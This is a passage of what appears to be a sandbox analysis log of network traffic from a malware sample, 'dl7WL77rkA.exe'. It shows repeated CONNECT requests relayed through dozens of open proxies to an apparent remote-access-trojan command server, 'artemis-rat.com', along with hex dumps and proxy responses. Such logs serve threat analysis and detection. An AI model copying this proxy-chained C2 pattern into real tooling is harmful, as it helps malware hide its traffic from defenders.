Mar 11, 2024 03:30:37.631784916 CET	441	IN	HTTP/1.1 405 Method Not Allowed Date: Mon, 11 Mar 2024 02:30:37 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Allow: OPTIONS,GET,HEAD,POST,TRACE Content-Length: 225 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 43 4f 4e 4e 45 43 54 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 65 20 55 52 4c 20 2f 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method CONNECT is not allowed for the URL /.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49805	172.67.181.144	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.345093012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.499386072 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49734	185.164.163.135	8118	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.345211983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.669172049 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49775	54.152.3.36	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.345324039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.562995911 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:37 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 03:30:37.564667940 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ee 6c cc 45 eb 02 cb c9 7f a4 fc a4 5f 44 ea 5d 0f 85 99 02 b2 88 e1 b3 83 9c a6 62 86 d8 c6 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: elE_D]b*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 03:30:37.788659096 CET	536	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 54 8b 2c 37 e7 02 bc 05 34 eb 17 64 ea 5d 71 fd 40 e4 80 b9 3c a9 5f 16 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9T,74d]q@<_DOWNGRD0000H010Uartemis-rat.com0240311020648Z260311020648Z010Uartemis-rat.com0"0H0gR
Mar 11, 2024 03:30:37.788744926 CET	536	IN	Data Raw: 24 22 55 d3 0c 79 39 6e af 3a 98 27 7a 3e 18 e4 6d 4b ee 4e 08 e5 29 64 ea 23 33 6e 3b 87 15 7b cc fd 83 7b 12 18 1a 35 e3 c2 55 c6 b6 67 a4 6a da a3 01 ee c5 8e 36 16 fd 61 5b d8 78 48 39 5e ce fd 20 7f c1 e1 eb b8 0c c5 b3 80 c7 86 ba e4 e9 4e Data Ascii: $"Uy9n:'z>mKN)d#3n;{{5Ugj6a[xH9^ NpE'{70kS% ,L!8o.pyYIQj[ou3}Pd=P;'],A`Y0j*I-ec{\d^a<.h17N)2,(
Mar 11, 2024 03:30:37.788805008 CET	7	IN	Data Raw: 03 00 04 0e 00 00 00 Data Ascii:
Mar 11, 2024 03:30:37.794245958 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 3f ad 60 a4 a2 a4 ce 81 8c 3f bc db 66 b7 22 31 d0 be 64 9b bd 00 14 cc 36 53 8f ff 13 ec f1 00 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 9c 58 8d 59 ad 24 b3 36 e2 57 55 fc 3d 9f 52 28 68 f4 68 4d f3 Data Ascii: %! ?`?f"1d6S(XY$6WU=R(hhM<.Rgx
Mar 11, 2024 03:30:38.009968996 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 0c a7 36 0b 04 c5 2e 8e 23 ea 1a bf 61 00 cb 1f 01 46 5e ed 40 b2 09 f7 96 9a e8 13 6c 64 14 61 19 bb e7 b3 e1 d7 d7 66 Data Ascii: (6.#aF^@ldaf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49745	203.74.125.18	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.346765995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.637679100 CET	741	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.25.0 Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 579 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.25.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49830	162.159.247.57	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.408575058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.569703102 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49925	45.144.30.232	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.416883945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49926	45.144.30.232	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.417731047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49927	45.144.30.232	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.419487953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49929	45.144.30.232	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.420969009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49847	172.67.253.69	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.427696943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.582329035 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49824	209.126.104.38	12457	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.445537090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.967304945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.592367887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.842346907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.389673948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49765	213.57.128.161	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.454576015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.820988894 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49869	172.67.181.32	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.454895973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.609363079 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49800	20.33.5.27	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.492280006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:11.474437952 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:12.360048056 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:13.384021997 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:15.368083954 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:19.272279024 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:27.400398970 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:43.276422977 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49796	201.91.82.155	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.494658947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.166440010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.139245987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.224004984 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49842	92.204.135.37	26927	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.495670080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.014184952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.670506001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.983014107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.702316046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.389868975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49877	167.172.158.55	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.562263966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49854	72.195.34.58	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.562437057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49818	43.155.142.116	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.562813997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49887	178.128.156.219	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.562913895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49833	88.99.138.21	5088	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.563111067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49822	121.182.138.71	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
